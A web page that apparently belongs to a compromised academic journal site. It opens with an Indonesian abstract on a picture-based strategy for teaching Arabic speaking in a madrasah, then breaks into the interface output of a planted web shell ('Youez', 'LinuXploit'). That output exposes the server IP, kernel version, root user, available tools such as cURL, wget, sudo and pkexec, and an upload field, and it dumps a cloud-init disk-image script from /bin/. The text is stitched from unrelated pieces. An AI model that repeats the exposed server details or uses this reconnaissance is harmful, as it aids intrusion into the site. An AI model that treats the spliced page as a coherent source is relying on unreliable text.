Efektivitas Strategi Ta’bir Mushawwar dalam Pembelajaran Bahasa Arab di Madrasah Ibtidaiyah
Abstract
Speaking proficiency is one of the main skills in Arabic language learning, but fourth grade students of MI TPI Keramat face difficulties in assembling mufradat and practicing active conversation, mainly due to the lack of varied learning strategies. This study aims to analyze the effectiveness of the ta'bir mushawwar strategy, which uses picture as a media to facilitate students in constructing sentences and telling stories, in improving Arabic speaking skills. With a quantitative approach and pre-experiment design, this study involved 18 students of class IV-C. Data were collected through tests, observations, and interviews, then analyzed descriptively and N-Gain test. The posttest average was 83.06 (very good category) with 88.9% completeness, and the N-Gain score was 0.6398 which showed effectiveness in the medium category. The ta'bir mushawwar strategy offers a solution in the form of a visual and hands-on learning approach that can significantly improve students' speaking skills and make learning more interesting and interactive.
Server IP : 103.175.217.176 / Your IP : 18.119.133.138 Web Server : Apache/2.4.62 (Debian) System : Linux bilfathvps 5.10.0-33-amd64 #1 SMP Debian 5.10.226-1 (2024-10-03) x86_64 User : root ( 0) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /bin/ |
Upload File : |
#!/bin/bash VERBOSITY=0 TEMP_D="" DEF_DISK_FORMAT="raw" DEF_FILESYSTEM="iso9660" CR=" " error() { echo "$@" 1>&2; } fail() { [ $# -eq 0 ] || error "$@"; exit 1; } Usage() { cat <<EOF Usage: ${0##*/} [ options ] output user-data [meta-data] Create a disk for cloud-init to utilize nocloud options: -h | --help show usage -d | --disk-format D disk format to output. default: raw can be anything supported by qemu-img or tar, tar-seed-local, tar-seed-net -H | --hostname H set hostname in metadata to H -f | --filesystem F filesystem format (vfat or iso), default: iso9660 -i | --interfaces F write network interfaces file into metadata -N | --network-config F write network config file to local datasource -m | --dsmode M add 'dsmode' ('local' or 'net') to the metadata default in cloud-init is 'net', meaning network is required. -V | --vendor-data F vendor-data file -v | --verbose increase verbosity Note, --dsmode, --hostname, and --interfaces are incompatible with metadata. Example: * cat my-user-data #cloud-config password: passw0rd chpasswd: { expire: False } ssh_pwauth: True * echo "instance-id: \$(uuidgen || echo i-abcdefg)" > my-meta-data * ${0##*/} my-seed.img my-user-data my-meta-data * kvm -net nic -net user,hostfwd=tcp::2222-:22 \\ -drive file=disk1.img,if=virtio -drive file=my-seed.img,if=virtio * ssh -p 2222 ubuntu@localhost EOF } bad_Usage() { Usage 1>&2; [ $# -eq 0 ] || error "$@"; exit 1; } cleanup() { [ -z "${TEMP_D}" -o ! -d "${TEMP_D}" ] || rm -Rf "${TEMP_D}" } debug() { local level=${1}; shift; [ "${level}" -gt "${VERBOSITY}" ] && return error "${@}" } has_cmd() { command -v "$1" >/dev/null 2>&1 } short_opts="hH:i:d:f:m:N:o:V:v" long_opts="disk-format:,dsmode:,filesystem:,help,hostname:,interfaces:," long_opts="${long_opts}network-config:,output:,vendor-data:,verbose" getopt_out=$(getopt --name "${0##*/}" \ --options "${short_opts}" --long "${long_opts}" -- "$@") && eval set -- "${getopt_out}" || bad_Usage ## <<insert default variables here>> output="" userdata="" metadata="" vendordata="" filesystem="" diskformat=$DEF_DISK_FORMAT interfaces=_unset dsmode="" hostname="" ncname="network-config" while [ $# -ne 0 ]; do cur=${1}; next=${2}; case "$cur" in -h|--help) Usage ; exit 0;; -d|--disk-format) diskformat=$next; shift;; -f|--filesystem) filesystem=$next; shift;; -H|--hostname) hostname=$next; shift;; -i|--interfaces) interfaces=$next; shift;; -N|--network-config) netcfg=$next; shift;; -m|--dsmode) dsmode=$next; shift;; -v|--verbose) VERBOSITY=$((${VERBOSITY}+1));; -V|--vendor-data) vendordata="$next";; --) shift; break;; esac shift; done ## check arguments here ## how many args do you expect? [ $# -ge 2 ] || bad_Usage "must provide output, userdata" [ $# -le 3 ] || bad_Usage "confused by additional args" output=$1 userdata=$2 metadata=$3 if [ -n "$metadata" ]; then [ "$interfaces" = "_unset" -a -z "$dsmode" -a -z "$hostname" ] || fail "metadata is incompatible with:" \ "--interfaces, --hostname, --dsmode" fi case "$diskformat" in tar|tar-seed-local|tar-seed-net) if [ "${filesystem:-tar}" != "tar" ]; then fail "diskformat=tar is incompatible with filesystem" fi filesystem="$diskformat" ;; tar*) fail "supported 'tar' formats are tar, tar-seed-local, tar-seed-net" esac if [ -z "$filesystem" ]; then filesystem="$DEF_FILESYSTEM" fi if [ "$filesystem" = "iso" ]; then filesystem="iso9660" fi case "$filesystem" in tar*) has_cmd tar || fail "missing 'tar'. Required for --filesystem=$filesystem";; vfat) has_cmd mkfs.vfat || fail "missing 'mkfs.vfat'. Required for --filesystem=vfat." has_cmd mcopy || fail "missing 'mcopy'. Required for --filesystem=vfat." ;; iso9660) has_cmd genisoimage || fail "missing 'genisoimage'. Required for --filesystem=iso9660." ;; *) fail "unknown filesystem $filesystem";; esac case "$diskformat" in tar*|raw) :;; *) has_cmd "qemu-img" || fail "missing 'qemu-img'. Required for --disk-format=$diskformat." esac [ "$interfaces" = "_unset" -o -r "$interfaces" ] || fail "$interfaces: not a readable file" TEMP_D=$(mktemp -d "${TMPDIR:-/tmp}/${0##*/}.XXXXXX") || fail "failed to make tempdir" trap cleanup EXIT files=( "${TEMP_D}/user-data" "${TEMP_D}/meta-data" ) if [ -n "$metadata" ]; then cp "$metadata" "$TEMP_D/meta-data" || fail "$metadata: failed to copy" else instance_id="iid-local01" iface_data="" [ "$interfaces" != "_unset" ] && iface_data=$(sed ':a;N;$!ba;s/\n/\\n/g' "$interfaces") # write json formatted user-data (json is a subset of yaml) mdata="" for kv in "instance-id:$instance_id" "local-hostname:$hostname" \ "interfaces:${iface_data}" "dsmode:$dsmode"; do key=${kv%%:*} val=${kv#*:} [ -n "$val" ] || continue mdata="${mdata:+${mdata},${CR}}\"$key\": \"$val\"" done printf "{\n%s\n}\n" "$mdata" > "${TEMP_D}/meta-data" fi if [ -n "$netcfg" ]; then cp "$netcfg" "${TEMP_D}/$ncname" || fail "failed to copy network config" files[${#files[@]}]="$TEMP_D/$ncname" fi if [ -n "$vendordata" ]; then cp "$vendordata" "${TEMP_D}/vendor-data" || fail "failed to copy vendor data" files[${#files[@]}]="$TEMP_D/vendor-data" fi files_rel=( ) for f in "${files[@]}"; do files_rel[${#files_rel[@]}]="${f#${TEMP_D}/}" done if [ "$userdata" = "-" ]; then cat > "$TEMP_D/user-data" || fail "failed to read from stdin" else cp "$userdata" "$TEMP_D/user-data" || fail "$userdata: failed to copy" fi ## alternatively, create a vfat filesystem with same files img="$TEMP_D/seed-data" tar_opts=( --owner=root --group=root ) case "$filesystem" in tar) tar "${tar_opts[@]}" -C "${TEMP_D}" -cf "$img" "${files_rel[@]}" || fail "failed to create tarball of ${files_rel[*]}" ;; tar-seed-local|tar-seed-net) if [ "$filesystem" = "tar-seed-local" ]; then path="var/lib/cloud/seed/nocloud" else path="var/lib/cloud/seed/nocloud-net" fi mkdir -p "${TEMP_D}/${path}" || fail "failed making path for seed files" mv "${files[@]}" "${TEMP_D}/$path" || fail "failed moving files" tar "${tar_opts[@]}" -C "${TEMP_D}" -cf "$img" "${path}" || fail "failed to create tarball with $path" ;; iso9660) genisoimage -output "$img" -volid cidata \ -joliet -rock "${files[@]}" > "$TEMP_D/err" 2>&1 || { cat "$TEMP_D/err" 1>&2; fail "failed to genisoimage"; } ;; vfat) truncate --size 128K "$img" || fail "failed truncate image" out=$(mkfs.vfat -n cidata "$img" 2>&1) || { error "failed: mkfs.vfat -n cidata $img"; error "$out"; } mcopy -oi "$img" "${files[@]}" :: || fail "failed to copy user-data, meta-data to img" ;; esac [ "$output" = "-" ] && output="$TEMP_D/final" if [ "${diskformat#tar}" != "$diskformat" -o "$diskformat" = "raw" ]; then cp "$img" "$output" || fail "failed to copy image to $output" else qemu-img convert -f raw -O "$diskformat" "$img" "$output" || fail "failed to convert to disk format $diskformat" fi [ "$output" != "$TEMP_D/final" ] || { cat "$output" && output="-"; } || fail "failed to write to -" debug 1 "wrote ${output} with filesystem=$filesystem and diskformat=$diskformat" # vi: ts=4 noexpandtab
Youez - 2016 - github.com/yon3zu
LinuXploit